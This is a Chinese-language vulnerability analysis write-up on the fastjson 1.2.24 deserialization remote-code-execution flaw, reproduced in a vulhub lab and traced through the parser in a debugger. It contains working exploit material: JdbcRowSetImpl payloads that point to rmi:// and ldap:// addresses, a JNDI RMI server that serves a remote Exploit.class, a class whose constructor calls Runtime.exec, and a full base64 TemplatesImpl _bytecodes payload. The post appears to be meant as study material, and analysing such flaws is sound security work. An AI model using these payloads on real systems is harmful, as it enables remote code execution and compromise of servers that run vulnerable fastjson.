fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

时间:2024-10-13 12:06:20

环境搭建:

漏洞影响版本:

fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

环境地址:

https://github.com/vulhub/vulhub/tree/master/fastjson/vuln

正常访问页面返回hello,world~
fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时抓包修改content-type为json格式,并post payload,即可执行rce

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时就能够创建success文件

漏洞复现(rmi+ldap):

RMI:

package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
Reference reference = new Reference("Exploit",
"Exploit","http://127.0.0.1:8080/"); //请求本地8080端口
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class }
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}

比如此时先本地起一个rmi服务器

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

exp:

package person;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
} }

然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

用mashalsec起rmi服务:

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时也能够calc

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

ldap:

用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class

    public static void testLdap(){
String url = "ldap://127.0.0.1:1389";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
try{
DirContext dirContext = new InitialDirContext(env);
System.out.println("connected");
System.out.println(dirContext.getEnvironment());
Reference e = (Reference) dirContext.lookup("e"); }catch(NameNotFoundException ex){
ex.printStackTrace();
}catch(Exception e){
e.printStackTrace();
}
}

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

exp:

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
} }

直接通过ldap加载没问题,可以calc

前置知识:

研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json { public static void main(String[] args){
Map<String,Object> map = new HashMap<String, Object>();
map.put("key1","one");
map.put("key2","two");
//System.out.println(map.getClass());
String mapjson = JSON.toJSONString(map);
System.out.println(mapjson.getClass());
user user1 = new user ();
user1.setName("111");
System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
user user2=(user)JSON.parse(serializedStr1);
System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class);
//user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
user obj2 = (user)obj1;
System.out.println(obj2.getName());
System.out.println(obj2.getClass()); } }
//输出
class java.lang.String
{"age":0,"name":"111"}
serializedStr1={"@type":"main.java.user","age":0,"name":"111"}
111
{"name":"111","age":0}
class com.alibaba.fastjson.JSONObject
111
class main.java.user

这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,

可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象

漏洞分析:

这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce

test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} @Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }

test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; public class Poc { public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," + //将evilcode放在_bytecodes处
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

我们已经知道在反序列化解析json字符串时在parseobject时触发

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

在此下断点,运行poc.java

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时判断我们传入的features是否为null,这里

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

实际上此时又回到了

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

并且在此调用parseObject函数来处理我们的payload

接下来一部分就是语法解析,先匹配出了其中的双引号",

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

比如先在parseObject函数中匹配出了@type

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

跟进此函数,则可以看到此时token为16并且text为我们的payload

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

接下来会调用parseField函数来对json字符串中的一些key值进行匹配fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

当处理到_outputProperties字段时,步入其smartMatch方法

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可, fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

缩减后的整个调用链即为:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

参考:

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://www.freebuf.com/vuls/178012.html

https://www.anquanke.com/post/id/173459#h2-10

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/